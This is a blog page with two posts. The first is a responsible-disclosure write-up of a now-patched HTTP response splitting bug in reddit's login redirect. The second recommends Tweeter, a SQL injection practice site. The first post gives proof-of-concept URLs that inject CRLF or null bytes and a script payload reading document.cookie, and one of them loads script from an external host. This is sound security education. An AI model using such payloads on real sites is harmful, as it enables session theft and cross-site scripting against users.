Tag: reddit
2011
01.14

Summary

Reddit.com was vulnerable to an HTTP Response Splitting vulnerability. As a result, it was possible to execute arbitrary JavaScript and HTML on the reddit.com domain.

What is HTTP Response Splitting?

From Wikipedia:

HTTP response splitting is a form of web application vulnerability, resulting from the failure of the application or its environment to properly sanitize input values. It can be used to perform cross-site scripting attacks, cross-user defacement, web cache poisoning, and similar exploits.

The attack consists of making the server print a carriage return (CR, ASCII 0x0D) line feed (LF, ASCII 0x0A) sequence followed by content supplied by the attacker in the header section of its response, typically by including them in input fields sent to the application. Per the HTTP standard (RFC 2616), headers are separated by one CRLF and the response’s headers are separated from its body by two. Therefore, the failure to remove CRs and LFs allows the attacker to set arbitrary headers, take control of the body, or break the response into two or more separate responses—hence the name.

The Web Application Security Consortium also has a good writeup, including sources with more details.

How Did The Vulnerability Work?

Reddit.com, like many sites on the Internet, has a redirect system built into its login functionality. If you’re viewing a page on reddit.com and choose to log in, the system will redirect you back to your original page afterward. The redirect functionality appears to be limited to pages on reddit.com and to reddit.com subdomains.

Under normal circumstances, a login URL with a redirect might look something like this:
http://reddit.com/login?dest=/r/reddit.com

If a user is already logged in, that URL will skip the login step and go straight to the redirection. The headers sent for that redirect look like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
HTTP/1.1 302 Moved Temporarily  
Content-Type: text/html; charset=UTF-8  
Location: /r/reddit.com  
Pragma: no-cache  
Cache-Control: no-cache  
Content-Encoding: gzip  
Content-Length: 20  
Server: '; DROP TABLE servertypes; --  
Vary: Accept-Encoding  
Date: Fri, 14 Jan 2011 03:02:59 GMT  
Connection: keep-alive

Unfortunately, the vulnerability occurred because the “dest” parameter of the URL allowed an attacker to include newline characters (\r\n, or %0D%0A). Those characters were then parsed literally, which gave an attacker control over part of the HTTP response being sent by reddit’s servers.

To illustrate the point, lets take a look at one of the proof of concepts I developed to demonstrate the vulnerability.

The malicious URL we’re interested in is http://www.reddit.com/login?dest=http://reddit.com/%0D%0ALocation:%20javascript:%0D%0A%0D%0A<script>alert(document.cookie)</script>. Because of the newline characters being included in the “dest” parameter, the response sent by reddit’s servers would now look something like this

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
Location: /r/reddit.com
Location: javascript:

<script>alert(document.cookie)</script>
Pragma: no-cache
Cache-Control: no-cache
Content-Encoding: gzip
Content-Length: 20
Server: '; DROP TABLE servertypes; --
Vary: Accept-Encoding
Date: Fri, 14 Jan 2011 03:02:59 GMT
Connection: keep-alive

Two sets of newlines in a row (%0D%0A%0D%0A) indicate that the HTTP headers are done being sent and the remainder of the response is the response body. Normally, the body of a redirect response is not rendered by the browser: the redirect makes that impossible to do. However, I used the second Location: header to try and confuse the browser, halting the redirect and causing the browser to display the body, which now contained JavaScript that I had included.

Proof of Concepts

I developed a number of proof of concepts, since browser-specific behaviors heavily influenced whether a particular URL could trigger an XSS vulnerability in a particular browser.

  1. http://www.reddit.com/login?dest=http://reddit.com/%0D%0ALocation: javascript:%0D%0A%0D%0A<script>alert(document.cookie)</script>
    This proof of concept worked in Firefox only. Firefox halts the redirect and displays the body of the response if it encounters a second Location header containing something invalid (like a redirect to a JavaScript URI).
  2. http://www.reddit.com/login?dest=http://reddit.com/%00%0D%0A%0D%0A<script>alert(document.cookie)</script>
    This proof of concept worked in both Firefox and Chrome. Both browsers would not redirect and would display the body of the response if the Location header contained a null byte.
  3. http://www.reddit.com/login?dest=http://reddit.com/%00%0D%0A%0D%0A<script src=”http://ha.ckers.org/xss.js”></script>
    This proof of concept worked in Safari only. It is similar to the second proof of concept, but it contains a different JavaScript payload: for some reason, Safari would not execute the JavaScript in the second proof of concept (I didn’t investigate the exact cause too much).

And of course, no XSS writeup would be complete without a picture. So, here’s a screenshot of the first proof of concept in action:

In Firefox 3.6.x, it was possible to trigger JavaScript by injecting a second, invalid Location header and a body containing <script> tags into the response.

In Firefox 3.6.x, it was possible to trigger JavaScript by injecting a second, invalid Location header and a body containing <script> tags into the response.

In case anyone is curious, this vulnerability was patched within 48 hours of my original report.

Anything Else?

I want to thank reddit’s admins for supporting the responsible disclosure of security vulnerabilities. :-)

Also, if you have any questions about HTTP Response Splitting or other web application security vulnerabilities, feel free to leave them in the comments!

2010
07.07

When I was browsing /r/programming earlier this morning, I came across a link to a web application named Tweeter. I played around with it for a while and I think it’s a really awesome application, so I figured I’d write a post about it. :-)

Tweeter is a web application designed for a single purpose: to give people a chance to apply their knowledge of SQL injections to a “real” site. The attacker’s goal is to use his/her knowledge of SQL injections to post as an existing user named agentgill. Once the “hack” is complete, the attacker is directed to a new version of the website, designed with more safeguards and security measures that need to be circumvented. I don’t want to delve into the specifics of the different versions, but there are a total of four levels, each with their own set of challenges that must be overcome.

The new interface's type-ahead functionality, hard at work

Screenshot of Tweeter Level 1

I really enjoyed playing with Tweeter. It was a fun challenge and it gave me a chance to reuse some basic SQL injection knowledge I haven’t used in a while. It reminded me a little bit of Jarlsberg, a similar application created by Google to teach people about possible attack vectors in web applications (but which does not demonstrate SQL injections, since it does not use SQL). I believe tools like Tweeter are integral in teaching web application security; learning about SQL injections in class is nowhere near the same experience as being able to exploit them properly on a real website. I’ll definitely be adding it to my bookmarks.

If you’d like to try it out for yourself, you can click on this link to create a new instance on the author’s site.

More information about Tweeter (including a link to download the source) can be found on the author’s blog.